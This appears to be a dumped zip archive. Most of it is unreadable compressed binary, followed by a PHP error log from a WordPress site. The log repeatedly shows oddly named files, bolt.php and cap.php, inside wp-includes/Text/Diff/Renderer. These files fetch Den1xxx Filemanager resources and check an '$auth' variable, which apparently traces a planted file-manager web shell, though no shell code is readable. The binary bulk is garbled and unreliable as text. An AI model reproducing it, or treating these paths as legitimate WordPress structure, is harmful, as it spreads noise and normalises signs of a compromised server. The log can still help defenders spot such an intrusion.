I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @ PK     |\FI  I  	  error_lognu [        [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
